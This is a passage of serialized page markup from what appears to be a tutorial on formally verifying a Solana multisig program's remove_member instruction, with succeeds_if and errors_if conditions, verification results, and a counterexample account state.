multisig_auth",{"type":26,"tag":475,"props":25418,"children":25419},{"style":714},[25420],{"type":32,"value":179},{"type":26,"tag":475,"props":25422,"children":25423},{"style":505},[25424],{"type":32,"value":22867},{"type":26,"tag":475,"props":25426,"children":25427},{"style":499},[25428],{"type":32,"value":22631},{"type":26,"tag":475,"props":25430,"children":25431},{"style":505},[25432],{"type":32,"value":22636},{"type":26,"tag":475,"props":25434,"children":25435},{"style":499},[25436],{"type":32,"value":5852},{"type":26,"tag":475,"props":25438,"children":25439},{"class":477,"line":761},[25440],{"type":26,"tag":475,"props":25441,"children":25442},{"style":499},[25443],{"type":32,"value":3607},{"type":26,"tag":475,"props":25445,"children":25446},{"class":477,"line":770},[25447],{"type":26,"tag":475,"props":25448,"children":25449},{"emptyLinePlaceholder":18},[25450],{"type":32,"value":545},{"type":26,"tag":475,"props":25452,"children":25453},{"class":477,"line":794},[25454,25458,25462,25467,25471,25475,25479,25483,25487,25492,25496,25501,25505,25509,25513,25517,25521],{"type":26,"tag":475,"props":25455,"children":25456},{"style":482},[25457],{"type":32,"value":13397},{"type":26,"tag":475,"props":25459,"children":25460},{"style":482},[25461],{"type":32,"value":13402},{"type":26,"tag":475,"props":25463,"children":25464},{"style":493},[25465],{"type":32,"value":25466}," remove_member",{"type":26,"tag":475,"props":25468,"children":25469},{"style":499},[25470],{"type":32,"value":626},{"type":26,"tag":475,"props":25472,"children":25473},{"style":2375},[25474],{"type":32,"value":19988},{"type":26,"tag":475,"props":25476,"children":25477},{"style":714},[25478],{"type":32,"value":179},{"type":26,"tag":475,"props":25480,"children":25481},{"style":505},[25482],{"type":32,"value":19997},{"type":26,"tag":475,"props":25484,"children":25485},{"style":499},[25486],{"type":32,"value":5519},{"type":26,"tag":475,"props":25488,"children":25489},{"style":505},[25490],{"type":32,"value":25491},"MsAuth",{"type":26,"tag":475,"props":25493,"children":25494},{"style":499},[25495],{"type":32,"value":6344},{"type":26,"tag":475,"props":25497,"children":25498},{"style":2375},[25499],{"type":32,"value":25500},"old_member",{"type":26,"tag":475,"props":25502,"children":25503},{"style":714},[25504],{"type":32,"value":179},{"type":26,"tag":475,"props":25506,"children":25507},{"style":505},[25508],{"type":32,"value":20565},{"type":26,"tag":475,"props":25510,"children":25511},{"style":499},[25512],{"type":32,"value":2794},{"type":26,"tag":475,"props":25514,"children":25515},{"style":714},[25516],{"type":32,"value":13464},{"type":26,"tag":475,"props":25518,"children":25519},{"style":505},[25520],{"type":32,"value":13469},{"type":26,"tag":475,"props":25522,"children":25523},{"style":499},[25524],{"type":32,"value":20039},{"type":26,"tag":475,"props":25526,"children":25527},{"class":477,"line":831},[25528],{"type":26,"tag":475,"props":25529,"children":25530},{"style":552},[25531],{"type":32,"value":25532}," // if there is only one key in this multisig, reject the removal\n",{"type":26,"tag":475,"props":25534,"children":25535},{"class":477,"line":845},[25536,25540,25545,25549,25553,25557,25561,25565,25569,25573,25577,25581,25585,25589],{"type":26,"tag":475,"props":25537,"children":25538},{"style":586},[25539],{"type":32,"value":11988},{"type":26,"tag":475,"props":25541,"children":25542},{"style":2375},[25543],{"type":32,"value":25544}," ctx",{"type":26,"tag":475,"props":25546,"children":25547},{"style":714},[25548],{"type":32,"value":353},{"type":26,"tag":475,"props":25550,"children":25551},{"style":499},[25552],{"type":32,"value":14382},{"type":26,"tag":475,"props":25554,"children":25555},{"style":714},[25556],{"type":32,"value":353},{"type":26,"tag":475,"props":25558,"children":25559},{"style":499},[25560],{"type":32,"value":23511},{"type":26,"tag":475,"props":25562,"children":25563},{"style":714},[25564],{"type":32,"value":353},{"type":26,"tag":475,"props":25566,"children":25567},{"style":499},[25568],{"type":32,"value":20691},{"type":26,"tag":475,"props":25570,"children":25571},{"style":714},[25572],{"type":32,"value":353},{"type":26,"tag":475,"props":25574,"children":25575},{"style":493},[25576],{"type":32,"value":8849},{"type":26,"tag":475,"props":25578,"children":25579},{"style":499},[25580],{"type":32,"value":13750},{"type":26,"tag":475,"props":25582,"children":25583},{"style":714},[25584],{"type":32,"value":8287},{"type":26,"tag":475,"props":25586,"children":25587},{"style":903},[25588],{"type":32,"value":4234},{"type":26,"tag":475,"props":25590,"children":25591},{"style":499},[25592],{"type":32,"value":579},{"type":26,"tag":475,"props":25594,"children":25595},{"class":477,"line":854},[25596,25600,25604,25608,25612,25616,25621],{"type":26,"tag":475,"props":25597,"children":25598},{"style":586},[25599],{"type":32,"value":15449},{"type":26,"tag":475,"props":25601,"children":25602},{"style":493},[25603],{"type":32,"value":23227},{"type":26,"tag":475,"props":25605,"children":25606},{"style":499},[25607],{"type":32,"value":626},{"type":26,"tag":475,"props":25609,"children":25610},{"style":505},[25611],{"type":32,"value":23236},{"type":26,"tag":475,"props":25613,"children":25614},{"style":714},[25615],{"type":32,"value":3187},{"type":26,"tag":475,"props":25617,"children":25618},{"style":505},[25619],{"type":32,"value":25620},"CannotRemoveSoloMember",{"type":26,"tag":475,"props":25622,"children":25623},{"style":499},[25624],{"type":32,"value":3533},{"type":26,"tag":475,"props":25626,"children":25627},{"class":477,"line":862},[25628],{"type":26,"tag":475,"props":25629,"children":25630},{"style":499},[25631],{"type":32,"value":851},{"type":26,"tag":475,"props":25633,"children":25634},{"class":477,"line":885},[25635,25639,25643,25647,25651,25655,25659,25663,25667,25671,25675,25679],{"type":26,"tag":475,"props":25636,"children":25637},{"style":2375},[25638],{"type":32,"value":19931},{"type":26,"tag":475,"props":25640,"children":25641},{"style":714},[25642],{"type":32,"value":353},{"type":26,"tag":475,"props":25644,"children":25645},{"style":499},[25646],{"type":32,"value":14382},{"type":26,"tag":475,"props":25648,"children":25649},{"style":714},[25650],{"type":32,"value":353},{"type":26,"tag":475,"props":25652,"children":25653},{"style":499},[25654],{"type":32,"value":23511},{"type":26,"tag":475,"props":25656,"children":25657},{"style":714},[25658],{"type":32,"value":353},{"type":26,"tag":475,"props":25660,"children":25661},{"style":493},[25662],{"type":32,"value":25167},{"type":26,"tag":475,"props":25664,"children":25665},{"style":499},[25666],{"type":32,"value":626},{"type":26,"tag":475,"props":25668,"children":25669},{"style":2375},[25670],{"type":32,"value":25500},{"type":26,"tag":475,"props":25672,"children":25673},{"style":499},[25674],{"type":32,"value":2835},{"type":26,"tag":475,"props":25676,"children":25677},{"style":714},[25678],{"type":32,"value":2863},{"type":26,"tag":475,"props":25680,"children":25681},{"style":499},[25682],{"type":32,"value":2729},{"type":26,"tag":475,"props":25684,"children":25685},{"class":477,"line":913},[25686],{"type":26,"tag":475,"props":25687,"children":25688},{"emptyLinePlaceholder":18},[25689],{"type":32,"value":545},{"type":26,"tag":475,"props":25691,"children":25692},{"class":477,"line":926},[25693],{"type":26,"tag":475,"props":25694,"children":25695},{"style":552},[25696],{"type":32,"value":25697}," // if the number of keys is now less than the threshold, adjust it\n",{"type":26,"tag":475,"props":25699,"children":25700},{"class":477,"line":948},[25701,25705,25709,25713,25717,25721,25725,25729,25733,25737,25741,25746,25750,25754,25758,25762,25766,25770,25774,25778,25782,25786],{"type":26,"tag":475,"props":25702,"children":25703},{"style":586},[25704],{"type":32,"value":11988},{"type":26,"tag":475,"props":25706,"children":25707},{"style":2375},[25708],{"type":32,"value":25544},{"type":26,"tag":475,"props":25710,"children":25711},{"style":714},[25712],{"type":32,"value":353},{"type":26,"tag":475,"props":25714,"children":25715},{"style":499},[25716],{"type":32,"value":14382},{"type":26,"tag":475,"props":25718,"children":25719},{"style":714},[25720],{"type":32,"value":353},{"type":26,"tag":475,"props":25722,"children":25723},{"style":499},[25724],{"type":32,"value":23511},{"type":26,"tag":475,"props":25726,"children":25727},{"style":714},[25728],{"type":32,"value":353},{"type":26,"tag":475,"props":25730,"children":25731},{"style":499},[25732],{"type":32,"value":20691},{"type":26,"tag":475,"props":25734,"children":25735},{"style":714},[25736],{"type":32,"value":353},{"type":26,"tag":475,"props":25738,"children":25739},{"style":493},[25740],{"type":32,"value":8849},{"type":26,"tag":475,"props":25742,"children":25743},{"style":499},[25744],{"type":32,"value":25745},"() \u003C ",{"type":26,"tag":475,"props":25747,"children":25748},{"style":505},[25749],{"type":32,"value":16307},{"type":26,"tag":475,"props":25751,"children":25752},{"style":714},[25753],{"type":32,"value":3187},{"type":26,"tag":475,"props":25755,"children":25756},{"style":493},[25757],{"type":32,"value":19182},{"type":26,"tag":475,"props":25759,"children":25760},{"style":499},[25761],{"type":32,"value":626},{"type":26,"tag":475,"props":25763,"children":25764},{"style":2375},[25765],{"type":32,"value":19988},{"type":26,"tag":475,"props":25767,"children":25768},{"style":714},[25769],{"type":32,"value":353},{"type":26,"tag":475,"props":25771,"children":25772},{"style":499},[25773],{"type":32,"value":14382},{"type":26,"tag":475,"props":25775,"children":25776},{"style":714},[25777],{"type":32,"value":353},{"type":26,"tag":475,"props":25779,"children":25780},{"style":499},[25781],{"type":32,"value":23511},{"type":26,"tag":475,"props":25783,"children":25784},{"style":714},[25785],{"type":32,"value":353},{"type":26,"tag":475,"props":25787,"children":25788},{"style":499},[25789],{"type":32,"value":25790},"threshold) {\n",{"type":26,"tag":475,"props":25792,"children":25793},{"class":477,"line":966},[25794,25798,25803,25807,25811,25815,25819,25823,25827,25831,25835,25839,25843,25847,25851,25855,25859,25864,25868,25872,25876],{"type":26,"tag":475,"props":25795,"children":25796},{"style":482},[25797],{"type":32,"value":2770},{"type":26,"tag":475,"props":25799,"children":25800},{"style":2375},[25801],{"type":32,"value":25802}," new_threshold",{"type":26,"tag":475,"props":25804,"children":25805},{"style":714},[25806],{"type":32,"value":179},{"type":26,"tag":475,"props":25808,"children":25809},{"style":505},[25810],{"type":32,"value":20738},{"type":26,"tag":475,"props":25812,"children":25813},{"style":714},[25814],{"type":32,"value":2383},{"type":26,"tag":475,"props":25816,"children":25817},{"style":2375},[25818],{"type":32,"value":25544},{"type":26,"tag":475,"props":25820,"children":25821},{"style":714},[25822],{"type":32,"value":353},{"type":26,"tag":475,"props":25824,"children":25825},{"style":499},[25826],{"type":32,"value":14382},{"type":26,"tag":475,"props":25828,"children":25829},{"style":714},[25830],{"type":32,"value":353},{"type":26,"tag":475,"props":25832,"children":25833},{"style":499},[25834],{"type":32,"value":23511},{"type":26,"tag":475,"props":25836,"children":25837},{"style":714},[25838],{"type":32,"value":353},{"type":26,"tag":475,"props":25840,"children":25841},{"style":499},[25842],{"type":32,"value":20691},{"type":26,"tag":475,"props":25844,"children":25845},{"style":714},[25846],{"type":32,"value":353},{"type":26,"tag":475,"props":25848,"children":25849},{"style":493},[25850],{"type":32,"value":8849},{"type":26,"tag":475,"props":25852,"children":25853},{"style":499},[25854],{"type":32,"value":13586},{"type":26,"tag":475,"props":25856,"children":25857},{"style":714},[25858],{"type":32,"value":353},{"type":26,"tag":475,"props":25860,"children":25861},{"style":493},[25862],{"type":32,"value":25863},"try_into",{"type":26,"tag":475,"props":25865,"children":25866},{"style":499},[25867],{"type":32,"value":13586},{"type":26,"tag":475,"props":25869,"children":25870},{"style":714},[25871],{"type":32,"value":353},{"type":26,"tag":475,"props":25873,"children":25874},{"style":493},[25875],{"type":32,"value":3371},{"type":26,"tag":475,"props":25877,"children":25878},{"style":499},[25879],{"type":32,"value":3376},{"type":26,"tag":475,"props":25881,"children":25882},{"class":477,"line":979},[25883,25888,25892,25896,25900,25904,25908,25913,25917,25922,25926,25930],{"type":26,"tag":475,"props":25884,"children":25885},{"style":2375},[25886],{"type":32,"value":25887}," ctx",{"type":26,"tag":475,"props":25889,"children":25890},{"style":714},[25891],{"type":32,"value":353},{"type":26,"tag":475,"props":25893,"children":25894},{"style":499},[25895],{"type":32,"value":14382},{"type":26,"tag":475,"props":25897,"children":25898},{"style":714},[25899],{"type":32,"value":353},{"type":26,"tag":475,"props":25901,"children":25902},{"style":499},[25903],{"type":32,"value":23511},{"type":26,"tag":475,"props":25905,"children":25906},{"style":714},[25907],{"type":32,"value":353},{"type":26,"tag":475,"props":25909,"children":25910},{"style":493},[25911],{"type":32,"value":25912},"change_threshold",{"type":26,"tag":475,"props":25914,"children":25915},{"style":499},[25916],{"type":32,"value":626},{"type":26,"tag":475,"props":25918,"children":25919},{"style":2375},[25920],{"type":32,"value":25921},"new_threshold",{"type":26,"tag":475,"props":25923,"children":25924},{"style":499},[25925],{"type":32,"value":2835},{"type":26,"tag":475,"props":25927,"children":25928},{"style":714},[25929],{"type":32,"value":2863},{"type":26,"tag":475,"props":25931,"children":25932},{"style":499},[25933],{"type":32,"value":2729},{"type":26,"tag":475,"props":25935,"children":25936},{"class":477,"line":1006},[25937],{"type":26,"tag":475,"props":25938,"children":25939},{"style":499},[25940],{"type":32,"value":851},{"type":26,"tag":475,"props":25942,"children":25943},{"class":477,"line":1046},[25944,25948,25953,25957,25961,25965,25969,25973,25977,25981],{"type":26,"tag":475,"props":25945,"children":25946},{"style":482},[25947],{"type":32,"value":2705},{"type":26,"tag":475,"props":25949,"children":25950},{"style":2375},[25951],{"type":32,"value":25952}," new_index",{"type":26,"tag":475,"props":25954,"children":25955},{"style":714},[25956],{"type":32,"value":2383},{"type":26,"tag":475,"props":25958,"children":25959},{"style":2375},[25960],{"type":32,"value":25544},{"type":26,"tag":475,"props":25962,"children":25963},{"style":714},[25964],{"type":32,"value":353},{"type":26,"tag":475,"props":25966,"children":25967},{"style":499},[25968],{"type":32,"value":14382},{"type":26,"tag":475,"props":25970,"children":25971},{"style":714},[25972],{"type":32,"value":353},{"type":26,"tag":475,"props":25974,"children":25975},{"style":499},[25976],{"type":32,"value":23511},{"type":26,"tag":475,"props":25978,"children":25979},{"style":714},[25980],{"type":32,"value":353},{"type":26,"tag":475,"props":25982,"children":25983},{"style":499},[25984],{"type":32,"value":25985},"transaction_index;\n",{"type":26,"tag":475,"props":25987,"children":25988},{"class":477,"line":1068},[25989,25993,25997,26001,26005,26009,26013,26018,26022,26027],{"type":26,"tag":475,"props":25990,"children":25991},{"style":2375},[25992],{"type":32,"value":19931},{"type":26,"tag":475,"props":25994,"children":25995},{"style":714},[25996],{"type":32,"value":353},{"type":26,"tag":475,"props":25998,"children":25999},{"style":499},[26000],{"type":32,"value":14382},{"type":26,"tag":475,"props":26002,"children":26003},{"style":714},[26004],{"type":32,"value":353},{"type":26,"tag":475,"props":26006,"children":26007},{"style":499},[26008],{"type":32,"value":23511},{"type":26,"tag":475,"props":26010,"children":26011},{"style":714},[26012],{"type":32,"value":353},{"type":26,"tag":475,"props":26014,"children":26015},{"style":493},[26016],{"type":32,"value":26017},"set_change_index",{"type":26,"tag":475,"props":26019,"children":26020},{"style":499},[26021],{"type":32,"value":626},{"type":26,"tag":475,"props":26023,"children":26024},{"style":2375},[26025],{"type":32,"value":26026},"new_index",{"type":26,"tag":475,"props":26028,"children":26029},{"style":499},[26030],{"type":32,"value":647},{"type":26,"tag":475,"props":26032,"children":26033},{"class":477,"line":1077},[26034],{"type":26,"tag":475,"props":26035,"children":26036},{"style":499},[26037],{"type":32,"value":3607},{"type":26,"tag":35,"props":26039,"children":26040},{},[26041,26043,26048],{"type":32,"value":26042},"First let's establish the ",{"type":26,"tag":53,"props":26044,"children":26046},{"className":26045},[],[26047],{"type":32,"value":19862},{"type":32,"value":26049}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":26,"tag":465,"props":26051,"children":26053},{"code":26052,"language":2684,"meta":7,"className":2685,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[26054],{"type":26,"tag":53,"props":26055,"children":26056},{"__ignoreMap":7},[26057,26064,26111,26118],{"type":26,"tag":475,"props":26058,"children":26059},{"class":477,"line":478},[26060],{"type":26,"tag":475,"props":26061,"children":26062},{"style":499},[26063],{"type":32,"value":23812},{"type":26,"tag":475,"props":26065,"children":26066},{"class":477,"line":516},[26067,26071,26075,26079,26083,26087,26091,26095,26099,26103,26107],{"type":26,"tag":475,"props":26068,"children":26069},{"style":499},[26070],{"type":32,"value":19931},{"type":26,"tag":475,"props":26072,"children":26073},{"style":714},[26074],{"type":32,"value":353},{"type":26,"tag":475,"props":26076,"children":26077},{"style":499},[26078],{"type":32,"value":14382},{"type":26,"tag":475,"props":26080,"children":26081},{"style":714},[26082],{"type":32,"value":353},{"type":26,"tag":475,"props":26084,"children":26085},{"style":499},[26086],{"type":32,"value":23511},{"type":26,"tag":475,"props":26088,"children":26089},{"style":714},[26090],{"type":32,"value":353},{"type":26,"tag":475,"props":26092,"children":26093},{"style":499},[26094],{"type":32,"value":20691},{"type":26,"tag":475,"props":26096,"children":26097},{"style":714},[26098],{"type":32,"value":353},{"type":26,"tag":475,"props":26100,"children":26101},{"style":499},[26102],{"type":32,"value":20729},{"type":26,"tag":475,"props":26104,"children":26105},{"style":714},[26106],{"type":32,"value":10170},{"type":26,"tag":475,"props":26108,"children":26109},{"style":499},[26110],{"type":32,"value":19151},{"type":26,"tag":475,"props":26112,"children":26113},{"class":477,"line":539},[26114],{"type":26,"tag":475,"props":26115,"children":26116},{"style":499},[26117],{"type":32,"value":19966},{"type":26,"tag":475,"props":26119,"children":26120},{"class":477,"line":548},[26121,26125,26129,26133,26137,26141,26145],{"type":26,"tag":475,"props":26122,"children":26123},{"style":482},[26124],{"type":32,"value":19974},{"type":26,"tag":475,"props":26126,"children":26127},{"style":493},[26128],{"type":32,"value":25466},{"type":26,"tag":475,"props":26130,"children":26131},{"style":499},[26132],{"type":32,"value":626},{"type":26,"tag":475,"props":26134,"children":26135},{"style":714},[26136],{"type":32,"value":9300},{"type":26,"tag":475,"props":26138,"children":26139},{"style":499},[26140],{"type":32,"value":23689},{"type":26,"tag":475,"props":26142,"children":26143},{"style":714},[26144],{"type":32,"value":9300},{"type":26,"tag":475,"props":26146,"children":26147},{"style":499},[26148],{"type":32,"value":1116},{"type":26,"tag":35,"props":26150,"children":26151},{},[26152,26154,26159],{"type":32,"value":26153},"And for now let's remove the invariant on the ",{"type":26,"tag":53,"props":26155,"children":26157},{"className":26156},[],[26158],{"type":32,"value":22450},{"type":32,"value":26160}," account:",{"type":26,"tag":465,"props":26162,"children":26164},{"code":26163,"language":2684,"meta":7,"className":2685,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[26165],{"type":26,"tag":53,"props":26166,"children":26167},{"__ignoreMap":7},[26168,26176],{"type":26,"tag":475,"props":26169,"children":26170},{"class":477,"line":478},[26171],{"type":26,"tag":475,"props":26172,"children":26173},{"style":499},[26174],{"type":32,"value":26175},"#[invariant()]\n",{"type":26,"tag":475,"props":26177,"children":26178},{"class":477,"line":516},[26179,26183,26187,26191,26195,26199],{"type":26,"tag":475,"props":26180,"children":26181},{"style":482},[26182],{"type":32,"value":13397},{"type":26,"tag":475,"props":26184,"children":26185},{"style":482},[26186],{"type":32,"value":20859},{"type":26,"tag":475,"props":26188,"children":26189},{"style":505},[26190],{"type":32,"value":20864},{"type":26,"tag":475,"props":26192,"children":26193},{"style":499},[26194],{"type":32,"value":1101},{"type":26,"tag":475,"props":26196,"children":26197},{"style":714},[26198],{"type":32,"value":9300},{"type":26,"tag":475,"props":26200,"children":26201},{"style":499},[26202],{"type":32,"value":1116},{"type":26,"tag":35,"props":26204,"children":26205},{},[26206],{"type":32,"value":26207},"Let's test this!",{"type":26,"tag":35,"props":26209,"children":26210},{},[26211,26213,26218],{"type":32,"value":26212},"Our ",{"type":26,"tag":53,"props":26214,"children":26216},{"className":26215},[],[26217],{"type":32,"value":19862},{"type":32,"value":26219}," harness produces:",{"type":26,"tag":465,"props":26221,"children":26223},{"code":26222},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[26224],{"type":26,"tag":53,"props":26225,"children":26226},{"__ignoreMap":7},[26227],{"type":32,"value":26222},{"type":26,"tag":35,"props":26229,"children":26230},{},[26231],{"type":32,"value":26232},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":26,"tag":35,"props":26234,"children":26235},{},[26236,26238,26243],{"type":32,"value":26237},"However, remember that since ",{"type":26,"tag":53,"props":26239,"children":26241},{"className":26240},[],[26242],{"type":32,"value":19862},{"type":32,"value":26244}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":26,"tag":35,"props":26246,"children":26247},{},[26248,26250,26255,26257,26262,26264,26269],{"type":32,"value":26249},"Suppose we want to be sure that this condition is the ",{"type":26,"tag":2615,"props":26251,"children":26252},{},[26253],{"type":32,"value":26254},"only condition",{"type":32,"value":26256}," in which the function will succeed (i.e. ",{"type":26,"tag":2615,"props":26258,"children":26259},{},[26260],{"type":32,"value":26261},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":32,"value":26263},"). We could attempt to verify the other side of this with an ",{"type":26,"tag":53,"props":26265,"children":26267},{"className":26266},[],[26268],{"type":32,"value":19869},{"type":32,"value":26270}," macro such as:",{"type":26,"tag":465,"props":26272,"children":26274},{"code":26273,"language":2684,"meta":7,"className":2685,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[26275],{"type":26,"tag":53,"props":26276,"children":26277},{"__ignoreMap":7},[26278,26285,26332,26339,26346,26393,26400],{"type":26,"tag":475,"props":26279,"children":26280},{"class":477,"line":478},[26281],{"type":26,"tag":475,"props":26282,"children":26283},{"style":499},[26284],{"type":32,"value":23812},{"type":26,"tag":475,"props":26286,"children":26287},{"class":477,"line":516},[26288,26292,26296,26300,26304,26308,26312,26316,26320,26324,26328],{"type":26,"tag":475,"props":26289,"children":26290},{"style":499},[26291],{"type":32,"value":19931},{"type":26,"tag":475,"props":26293,"children":26294},{"style":714},[26295],{"type":32,"value":353},{"type":26,"tag":475,"props":26297,"children":26298},{"style":499},[26299],{"type":32,"value":14382},{"type":26,"tag":475,"props":26301,"children":26302},{"style":714},[26303],{"type":32,"value":353},{"type":26,"tag":475,"props":26305,"children":26306},{"style":499},[26307],{"type":32,"value":23511},{"type":26,"tag":475,"props":26309,"children":26310},{"style":714},[26311],{"type":32,"value":353},{"type":26,"tag":475,"props":26313,"children":26314},{"style":499},[26315],{"type":32,"value":20691},{"type":26,"tag":475,"props":26317,"children":26318},{"style":714},[26319],{"type":32,"value":353},{"type":26,"tag":475,"props":26321,"children":26322},{"style":499},[26323],{"type":32,"value":20729},{"type":26,"tag":475,"props":26325,"children":26326},{"style":714},[26327],{"type":32,"value":10170},{"type":26,"tag":475,"props":26329,"children":26330},{"style":499},[26331],{"type":32,"value":19151},{"type":26,"tag":475,"props":26333,"children":26334},{"class":477,"line":539},[26335],{"type":26,"tag":475,"props":26336,"children":26337},{"style":499},[26338],{"type":32,"value":19966},{"type":26,"tag":475,"props":26340,"children":26341},{"class":477,"line":548},[26342],{"type":26,"tag":475,"props":26343,"children":26344},{"style":499},[26345],{"type":32,"value":19923},{"type":26,"tag":475,"props":26347,"children":26348},{"class":477,"line":558},[26349,26353,26357,26361,26365,26369,26373,26377,26381,26385,26389],{"type":26,"tag":475,"props":26350,"children":26351},{"style":499},[26352],{"type":32,"value":19931},{"type":26,"tag":475,"props":26354,"children":26355},{"style":714},[26356],{"type":32,"value":353},{"type":26,"tag":475,"props":26358,"children":26359},{"style":499},[26360],{"type":32,"value":14382},{"type":26,"tag":475,"props":26362,"children":26363},{"style":714},[26364],{"type":32,"value":353},{"type":26,"tag":475,"props":26366,"children":26367},{"style":499},[26368],{"type":32,"value":23511},{"type":26,"tag":475,"props":26370,"children":26371},{"style":714},[26372],{"type":32,"value":353},{"type":26,"tag":475,"props":26374,"children":26375},{"style":499},[26376],{"type":32,"value":20691},{"type":26,"tag":475,"props":26378,"children":26379},{"style":714},[26380],{"type":32,"value":353},{"type":26,"tag":475,"props":26382,"children":26383},{"style":499},[26384],{"type":32,"value":20729},{"type":26,"tag":475,"props":26386,"children":26387},{"style":714},[26388],{"type":32,"value":19123},{"type":26,"tag":475,"props":26390,"children":26391},{"style":499},[26392],{"type":32,"value":19151},{"type":26,"tag":475,"props":26394,"children":26395},{"class":477,"line":582},[26396],{"type":26,"tag":475,"props":26397,"children":26398},{"style":499},[26399],{"type":32,"value":19966},{"type":26,"tag":475,"props":26401,"children":26402},{"class":477,"line":596},[26403,26407,26411,26415,26419,26423,26427],{"type":26,"tag":475,"props":26404,"children":26405},{"style":482},[26406],{"type":32,"value":19974},{"type":26,"tag":475,"props":26408,"children":26409},{"style":493},[26410],{"type":32,"value":25466},{"type":26,"tag":475,"props":26412,"children":26413},{"style":499},[26414],{"type":32,"value":626},{"type":26,"tag":475,"props":26416,"children":26417},{"style":714},[26418],{"type":32,"value":9300},{"type":26,"tag":475,"props":26420,"children":26421},{"style":499},[26422],{"type":32,"value":23689},{"type":26,"tag":475,"props":26424,"children":26425},{"style":714},[26426],{"type":32,"value":9300},{"type":26,"tag":475,"props":26428,"children":26429},{"style":499},[26430],{"type":32,"value":1116},{"type":26,"tag":35,"props":26432,"children":26433},{},[26434,26436,26441],{"type":32,"value":26435},"Let's test this, we just need to run the new ",{"type":26,"tag":53,"props":26437,"children":26439},{"className":26438},[],[26440],{"type":32,"value":19869},{"type":32,"value":26442}," harness:",{"type":26,"tag":465,"props":26444,"children":26446},{"code":26445},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[26447],{"type":26,"tag":53,"props":26448,"children":26449},{"__ignoreMap":7},[26450],{"type":32,"value":26445},{"type":26,"tag":35,"props":26452,"children":26453},{},[26454],{"type":32,"value":26455},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":26,"tag":465,"props":26457,"children":26459},{"code":26458,"language":2684,"meta":7,"className":2685,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[26460],{"type":26,"tag":53,"props":26461,"children":26462},{"__ignoreMap":7},[26463,26474,26493,26512,26531,26550,26569,26588,26607,26626,26645,26665,26684,26691,26698,26725],{"type":26,"tag":475,"props":26464,"children":26465},{"class":477,"line":478},[26466,26470],{"type":26,"tag":475,"props":26467,"children":26468},{"style":505},[26469],{"type":32,"value":16852},{"type":26,"tag":475,"props":26471,"children":26472},{"style":499},[26473],{"type":32,"value":579},{"type":26,"tag":475,"props":26475,"children":26476},{"class":477,"line":516},[26477,26481,26485,26489],{"type":26,"tag":475,"props":26478,"children":26479},{"style":2375},[26480],{"type":32,"value":24872},{"type":26,"tag":475,"props":26482,"children":26483},{"style":714},[26484],{"type":32,"value":179},{"type":26,"tag":475,"props":26486,"children":26487},{"style":505},[26488],{"type":32,"value":20864},{"type":26,"tag":475,"props":26490,"children":26491},{"style":499},[26492],{"type":32,"value":579},{"type":26,"tag":475,"props":26494,"children":26495},{"class":477,"line":539},[26496,26500,26504,26508],{"type":26,"tag":475,"props":26497,"children":26498},{"style":2375},[26499],{"type":32,"value":23531},{"type":26,"tag":475,"props":26501,"children":26502},{"style":714},[26503],{"type":32,"value":179},{"type":26,"tag":475,"props":26505,"children":26506},{"style":903},[26507],{"type":32,"value":2752},{"type":26,"tag":475,"props":26509,"children":26510},{"style":499},[26511],{"type":32,"value":2425},{"type":26,"tag":475,"props":26513,"children":26514},{"class":477,"line":548},[26515,26519,26523,26527],{"type":26,"tag":475,"props":26516,"children":26517},{"style":2375},[26518],{"type":32,"value":24912},{"type":26,"tag":475,"props":26520,"children":26521},{"style":714},[26522],{"type":32,"value":179},{"type":26,"tag":475,"props":26524,"children":26525},{"style":903},[26526],{"type":32,"value":2752},{"type":26,"tag":475,"props":26528,"children":26529},{"style":499},[26530],{"type":32,"value":2425},{"type":26,"tag":475,"props":26532,"children":26533},{"class":477,"line":558},[26534,26538,26542,26546],{"type":26,"tag":475,"props":26535,"children":26536},{"style":2375},[26537],{"type":32,"value":24932},{"type":26,"tag":475,"props":26539,"children":26540},{"style":714},[26541],{"type":32,"value":179},{"type":26,"tag":475,"props":26543,"children":26544},{"style":903},[26545],{"type":32,"value":2752},{"type":26,"tag":475,"props":26547,"children":26548},{"style":499},[26549],{"type":32,"value":2425},{"type":26,"tag":475,"props":26551,"children":26552},{"class":477,"line":582},[26553,26557,26561,26565],{"type":26,"tag":475,"props":26554,"children":26555},{"style":2375},[26556],{"type":32,"value":24952},{"type":26,"tag":475,"props":26558,"children":26559},{"style":714},[26560],{"type":32,"value":179},{"type":26,"tag":475,"props":26562,"children":26563},{"style":903},[26564],{"type":32,"value":2752},{"type":26,"tag":475,"props":26566,"children":26567},{"style":499},[26568],{"type":32,"value":2425},{"type":26,"tag":475,"props":26570,"children":26571},{"class":477,"line":596},[26572,26576,26580,26584],{"type":26,"tag":475,"props":26573,"children":26574},{"style":2375},[26575],{"type":32,"value":24972},{"type":26,"tag":475,"props":26577,"children":26578},{"style":714},[26579],{"type":32,"value":179},{"type":26,"tag":475,"props":26581,"children":26582},{"style":903},[26583],{"type":32,"value":2752},{"type":26,"tag":475,"props":26585,"children":26586},{"style":499},[26587],{"type":32,"value":2425},{"type":26,"tag":475,"props":26589,"children":26590},{"class":477,"line":610},[26591,26595,26599,26603],{"type":26,"tag":475,"props":26592,"children":26593},{"style":2375},[26594],{"type":32,"value":23543},{"type":26,"tag":475,"props":26596,"children":26597},{"style":714},[26598],{"type":32,"value":179},{"type":26,"tag":475,"props":26600,"children":26601},{"style":714},[26602],{"type":32,"value":25000},{"type":26,"tag":475,"props":26604,"children":26605},{"style":499},[26606],{"type":32,"value":2425},{"type":26,"tag":475,"props":26608,"children":26609},{"class":477,"line":650},[26610,26614,26618,26622],{"type":26,"tag":475,"props":26611,"children":26612},{"style":2375},[26613],{"type":32,"value":25012},{"type":